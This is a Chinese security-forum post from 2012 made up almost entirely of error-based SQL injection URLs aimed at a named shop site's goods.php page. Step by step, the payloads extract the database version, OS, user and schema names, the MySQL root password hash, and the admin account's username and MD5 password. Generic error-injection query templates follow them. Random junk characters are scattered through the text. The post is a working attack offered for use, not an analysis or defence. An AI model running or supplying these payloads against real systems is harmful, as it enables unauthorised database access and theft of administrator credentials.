找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2073|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
判断版本号 ! G  g5 u- A  U6 {' t, n+ n5 d
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23  v1 p# M/ Z6 H

3 ~1 H" ?( [- R' N4 e+ e8 \" O判断系统
4 E. x3 @8 O& Z( u% ^( D. S
3 Z+ u  X; N* T. P+ R- H; j( Y+ Qhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
3 g/ B/ P! X6 v4 ^& @9 a, D3 W  a' b

* J  Z. u& i% o  c! `, ^
9 G) ~! N2 s! K9 j3 M5 `5 l0 S$ }当前 user()
  w: s, N' C$ O/ P# |6 n- {/ T( l# k; {
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23/ U) V$ h+ X% u3 v# q3 u4 B

) [5 `1 d/ }( l, E5 [& J' H9 f4 ]5 q5 l& I5 R& Q) [
4 I% X* q' U6 g, \
当前 database()
1 d# Y3 |* v: R% Q, Vhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%234 A6 F1 l" P0 K
6 K' k5 s: b& m0 ^/ U9 Y+ ?

! P  e& m) n( j  b- B$ Q2 d% s+ Q; K' R0 i
( c/ @9 e  T- g! @3 i. z" a
root hash
( d8 |- o; j9 t) ]. O4 f) ]9 P: }0 b8 r
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23. W5 i+ h+ L3 M# R4 S# ^  C
& \, K' {6 v# o4 H0 m
8 v0 G6 ~( x: R
5 B- d2 l1 ~3 j$ i5 m' `7 G
当前 数据库表名
4 S! j# R: }5 p4 ]9 ^) B  S9 u# |
* ?- N6 [0 G8 t2 k3 ?; ahttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
  v" O! Y4 M* L5 q( v8 ~) W
% B& A( |2 Y, ^1 H$ z
" [# F/ ?: U7 S: p6 B
; {2 L0 b" `- ]: u' c+ |当前 数据库 user_name 字段
# y! P9 ]9 k  u: _, a; i1 f# t1 n% z0 j8 b6 ]$ @
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
/ Y. [) [( P/ t/ c* O" J6 Z, |1 O# @# Z0 h0 x
当前 数据库 字段 password
  P" e$ X  Z  C% _http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
# G. ^6 E' Z2 s6 a2 E7 k, c9 \9 z& k0 A+ U, S" G

+ G. L8 a4 Q5 c0 L, `( A- t; z
. e' z  C& e; c7 [: v/ ?3 c1 A8 s获得 admin passwd(md5)
  P1 L: ~/ @0 v+ ], Y0 s
6 p- W7 E7 j1 W! ~/ w- b6 @5 k- h/ {6 q5 h) X+ a/ s, I+ t4 n! S& i) M
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
* b) N& ?, H; |3 B  ^8 F% a* H! j& s" G1 `- U$ r' t% E- N
报错注射
1 l4 k# N7 m) G4 Z1 c9 m# l0 u5 CSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
7 |+ P/ N0 T2 g; H) c5 v: s- f+ A* D+ N* T
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)1 O6 h8 R! f% o- {2 r& U/ w
- R! P2 d: e: ^: v& F" ?$ Z
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表